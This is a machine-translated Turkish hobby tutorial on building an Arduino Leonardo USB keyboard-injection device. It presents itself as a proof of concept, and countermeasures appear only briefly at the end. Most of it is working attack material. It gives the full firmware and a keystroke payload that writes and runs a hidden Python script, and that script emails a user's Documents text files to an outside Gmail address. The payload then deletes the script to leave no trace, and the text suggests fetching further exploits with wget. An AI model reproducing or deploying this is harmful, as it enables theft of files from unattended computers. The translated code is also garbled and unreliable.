İçindekiler:

Arduino Keyboard Exploit Demo (HID) ve Önleme: 4 Adım (Resimlerle)
Arduino Keyboard Exploit Demo (HID) ve Önleme: 4 Adım (Resimlerle)

Video: Arduino Keyboard Exploit Demo (HID) ve Önleme: 4 Adım (Resimlerle)

Video: Arduino Keyboard Exploit Demo (HID) ve Önleme: 4 Adım (Resimlerle)
Video: Arduino Leanardo Project || USB Keyboard || HID Device || #Shorts || #ShortVideo | #TrendingVideo 2024, Temmuz
Anonim
Image
Image
Cihazı Oluşturma
Cihazı Oluşturma

Bu projede, HID (insan arabirim aygıtı) kullanarak olası bir USB saldırısını simüle etmek için bir arduino leonardo kullanacağız.

Bu öğreticiyi bilgisayar korsanlarına yardım etmek için değil, size bazı gerçek tehlikeleri ve bu tehlikelerden kendinizi nasıl koruyacağınızı göstermek için oluşturdum. Bu cihaz, bilgisayar korsanları için herhangi bir platformda kullanılabilecek bir cihaz değil, daha çok ayrıntılı bir konsept kanıtı.

Aşağıdakileri öğreneceğiz:

- klavyeyi taklit etmek için arduino leonardo nasıl kullanılır

- SD kartlardan veri nasıl okunur

- dosyaları tarayan ve onlara e-posta gönderen bir python betiği nasıl oluşturulur

- kendinizi USB hackleme cihazlarından nasıl korursunuz

Adım 1: Malzemeler

Parçalar:

1. Arduino leonardo

2. mikro USB kart okuyucu

3. birkaç GB SD kart

4. bunun gibi bir buton (VCC, Toprak ve sinyal)

5. dişi-erkek ve dişi-dişi jumper kabloları

6. mikro USB'den USB'ye kablo

2. Adım: Cihazı Oluşturma

Cihazı Oluşturma
Cihazı Oluşturma

Yapı talimatından önce çalışma prensibini gözden geçirelim:

Arduino leonardo, bir insan arayüz cihazı (HID) gibi davranabilir ve bu nedenle fare ve klavyeyi taklit edebilir. Bu özelliği bir terminal açmak için kullanacağız (UBUNTU linux'da) ve kullanıcı ana klasörü içindeki /Documents klasörüne erişecek.txt dosyalarını oraya kopyalayacak ve birisine e-posta ile gönderecek küçük bir komut dosyası yazacağız. Daha fazla ayrıntı öğrenmek istiyorsanız bir sonraki adımı kontrol edin.

Bu bir demo cihaz olduğu için işler gerçekten basit, hiçbir şeyi lehimlemeyeceğiz.

Yapı talimatları

Başlamadan önce ekli dosyaları kontrol edin, fritzing şemalarını ve gerekli tüm dosyaları ekledim

1. Bileşenleri birleştirin:

* mikro USB kablosunu arduino'ya takın

* anahtarlı anahtarı arduino'ya bağlayın (toprak, vcc ve çıkış modülü D8'e)

* kart okuyucuyu arduinoya bağlayın (ICSP başlığını kullanarak). Arduino leonardo, dijital pinlere bağlı ICSP başlığına sahip değildir, bu nedenle kart okuyucuyu ICSP başlığına bağlamanız gerekir. ICSP'nin bazı çizimlerini burada bulabilirsiniz: https://learn.sparkfun.com/tutorials/installing-an…. SS pinini dijital pin 10'a bağlayın

2. arduino kodunu alın, arduino depomu github'da klonlayabilirsiniz: https://github.com/danionescu0/arduino ve project/keyboard_exploit'e gidin veya aşağıdan alın:

#include "Klavye.h"

#include "SPI.h" #include "SD.h" Dize filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Uyku::"; String commandStartingPoint = "Komut::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int öncekiButtonState = YÜKSEK; geçersiz kurulum() { pinMode(buttonPin, INPUT); Seri.başla(9600); klavye.başla(); if (!SD.begin(chipSelect)) { Serial.println("Kart başarısız veya mevcut değil!"); dönüş; } } void loop() { int buttonState = digitalRead(buttonPin); if ((buttonState != öncekiButtonState) && (buttonState == YÜKSEK)) { sdFileToKeyboard(); Serial.println("Yüklendi!"); gecikme(500); } öncekiButtonState = buttonState; } void sdFileToKeyboard() { Dosya dataFile = SD.open(filenameOnCard); if (!dataFile) { Serial.println("Belirtilen dosya adı SD kartta yok, filenameOnCard'ı kontrol edin!"); } Dize satırı; while (dataFile.available()) { line = dataFile.readStringUntil('\n'); Seri.println(satır); sendToKeyboard(satır); } dataFile.close(); } void sendToKeyboard(String line) { String WorkingLine = line; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); dönüş; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Text:");Serial.println(satır); Keyboard.println(satır); Enter tuşuna basın(); dönüş; } Serial.println("Komut:"); int charPosition = commandStartingPoint.length(); int satırUzunluğu = satır.uzunluk(); çalışmaLine += ", "; while (workingLine != "") { WorkingLine = WorkingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition = WorkingLine.indexOf(", "); String komutu = WorkingLine.substring(0, specialCommandDelimiterPosition); charPosition = özelCommandDelimiterPosition + 1; if (komut != "") { Serial.print("Komut bulundu:");Serial.println(komut); Keyboard.press(getCommandCode(komut)); gecikme(delayBetweenCommands); } } Keyboard.releaseAll(); gecikme(delayBetweenCommands); } void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } void sleepFor(String line) { int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Uyuyor:");Serial.println(sleepAmount); gecikme (uyku miktarı); } char getCommandCode(Dize metni) { char textCharacters[2]; text.toCharArray(textCharacters, 2); karakter kodu = textCharacters[0]; kod = (metin == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL: kod; kod = (metin == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT: kod; kod = (metin == "KEY_LEFT_ALT") ? KEY_LEFT_ALT: kod; kod = (metin == "KEY_UP_ARROW") ? KEY_UP_ARROW: kod; kod = (metin == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW: kod; kod = (metin == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW: kod; kod = (metin == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW: kod; kod = (metin == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI: kod; kod = (metin == "KEY_BACKSPACE") ? KEY_BACKSPACE: kod; kod = (metin == "KEY_TAB") ? KEY_TAB: kod; kod = (metin == "KEY_RETURN") ? KEY_RETURN: kod; kod = (metin == "KEY_ESC") ? KEY_ESC: kod; kod = (metin == "KEY_INSERT") ? KEY_INSERT: kod; kod = (metin == "KEY_DELETE") ? KEY_DELETE: kod; kod = (metin == "KEY_PAGE_UP") ? KEY_PAGE_UP: kod; kod = (metin == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN: kod; kod = (metin == "KEY_HOME") ? KEY_HOME: kod; kod = (metin == "KEY_END") ? KEY_END: kod; kod = (metin == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK: kod; kod = (metin == "KEY_F1") ? KEY_F1: kod; kod = (metin == "KEY_F2") ? KEY_F2: kod; kod = (metin == "KEY_F3") ? KEY_F3: kod; kod = (metin == "KEY_F4") ? KEY_F4: kod; kod = (metin == "KEY_F5") ? KEY_F5: kod; kod = (metin == "KEY_F6") ? KEY_F6: kod; kod = (metin == "KEY_F7") ? KEY_F7: kod; kod = (metin == "KEY_F8") ? KEY_F8: kod; kod = (metin == "KEY_F9") ? KEY_F9: kod; kod = (metin == "KEY_F10") ? KEY_F10: kod; kod = (metin == "KEY_F11") ? KEY_F1: kod; kod = (metin == "KEY_F12") ? KEY_F2: kod;

dönüş kodu;

}

3. Kodu arduino'ya yükleyin, 9600 baud hızı, seri bağlantı noktası ve arduino leonardo'yu seçtiğinizden emin olun

4. SD kartı FAT16 veya FAT32 kullanarak biçimlendirin

5. Github deposunu yukarıdan klonladıysanız, dosya aşağıda listelenmemişse hack.txt dosyasını karta kopyalayın:

Komut::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Komut::KEY_INSERT smtplib içe aktarma glob, os.path'den os e-postadan genişleticiyi içe aktar. MIMEMÇok parçalı e-postadan MIMEMçok parçalı içe aktar. MIMEBase, MIMEBase'i e-postadan içe aktar. MIMEText'i e-postadan içe aktar

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'alıcı_adresi' scan_documents_location = 'Belgeler'

konu = body = 'Saldırıya uğramış bilgisayardan dosyalar'

başlık = 'Kime:{0}\nKimden: {1}\nKonu: {2}\n'.format(to_address, smtp_user, konu)

def sendMail(to, konu, metin, dosyalar=):

msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Konu'] = konu msg.attach (MIMEText(text)) dosyalardaki dosya için: part = MIMEBase('application', "octet-stream") part.set_payload(open(file, "rb").read()) Encoders.encode_base64(part) part. add_header('Content-Disposition', 'ek; dosya adı="%s"' % os.path.basename(dosya)) msg.attach(bölüm)

sunucu = smtplib. SMTP('smtp.gmail.com:587')

server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()

sendMail([to_address], konu, gövde, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))

Uyku::50 Komut::KEY_ESC Uyku::100:x Uyku::500 nohup python hack.py & Uyku::700 rm -rf hack.py Uyku::400 Komut::KEY_LEFT_ALT, KEY_F4

6. Aşağıdaki satırları düzenleyin:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'alıcı_adresi'

Ve e-posta adreslerinizle değiştirin

7. Kartı çıkarın ve arduino kart okuyucusuna takın

Adım 3: Ayrıntılı Olarak Nasıl Çalışır?

Saldırı nasıl işleyecek:

1. Düğmeye basıldığında, leonardo bir sd kart okuyucu kullanarak sd kartı okuyacaktır. Kart üzerinde tuşları ve tuş kombinasyonunu içeren özel bir dosya bulunacaktır. Dosya adı "hack.txt".

Dosya ham metin içerebilir ve olduğu gibi klavyeye iletilecektir.

Ayrıca "Sleep::" ve "Command::" gibi özel komutlar içerebilir.

Şöyle bir satır:

Uyku::200, 200 ms'lik bir uyku anlamına gelir

Şöyle bir satır:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t sol ctrl basılı, sol alt basılı, t basılı ve tümü serbest bırakıldığı anlamına gelir

Tüm özel anahtarları buradan kontrol edebilirsiniz:

2. Leonardo satır satır okuyacak ve komutları yorumlayacak ve klavyedeki tuşları taklit edecektir. "hack.txt" dosyası, aşağıdakileri yapan bir tuş kombinasyonunu içerir (UBUNTU linux için):

a. bir terminal açar (CTRL + ALT + T)

B. vi kullanarak oluşturmak için bir python dosyası açar ("vi hack.py" yazar)

C. belgelerin ana klasörünün içindeki tüm metin dosyalarını toplayan ve belirli bir gmail adresine gönderen bir python betiği yazar

NS. dosyayı arka planda çalıştırır ("nohup python hack.py &")

e. dosyayı siler (rm -rf hack.py)

F. terminali kapatır (ALT + F4)

Bütün bunlar birkaç saniye içinde çalışır ve iz bırakmaz.

Geliştirmeler ve sorun giderme

* Bir terminali açtıktan sonra python dosyasını yazdığımı fark etmişsinizdir. bunun daha iyi bir yolu, onu bir yerde barındırmak ve "wget some_url" komutunu kullanarak indirmek ve ardından hack.py olarak yeniden adlandırmak olacaktır.

* Ayrıca hedeflenen işletim sistemi için hazır bir exploit indirebilir veya çalıştırabiliriz

* Modüle wifi eklenebilir ve hileler WIFI üzerinden yüklenebilir

* arduino micro'yu (ki bu çok daha küçüktür) kullanabilir ve üzerine exploit kodunu gömebilirsiniz (daha küçük yapmak için)

sınırlamalar

1. Simüle edilen cihaz (klavye ve fare) herhangi bir geri bildirime sahip olmadığı için, bir komut verdikten sonra ne olacağını bilmiyoruz, bu da gecikmeleri kullanmamız gerektiği anlamına geliyor. Örneğin, terminali açmak için bir komut veriyorum, ancak gerçekten ne zaman açılacağını bilmiyorum, bu yüzden sonra yazılan karakterlerin kaybolmamasını sağlamak için rastgele bir gecikme belirtmem gerekiyor.

2. USB bağlantı noktasına erişimin olmaması veya bir şey yükleme izninin olmaması gibi izin sorunlarıyla karşılaşabiliriz.

3. Yazma hızı leonardo'da o kadar iyi değil

4. Yalnızca hedeflenen bir işletim sistemi üzerinde çalışacak (bizim durumumuzda UBUNTU linux)

Bir sonraki adımda, bilgisayarımızın saldırıya uğramasını önlemek için bu sınırlamalardan yararlanmanın yollarını bulmaya çalışacağız.

4. Adım: Karşı önlemler

1. USB bağlantı noktalarını devre dışı bırakma

- pencereler için bu öğreticiyi kontrol edebilirsiniz:

2. USB aygıtlarını beyaz listeye ekleyin:

- pencereler için:

2. Uzakta değilken bilgisayarınızı kilitleyin

3. Kök olarak giriş yapmayın (herhangi bir şey yüklemek için şifre gerektirin)

4. Kendinizi güncel tutun (otomatik güncellemeler açık)

Önerilen: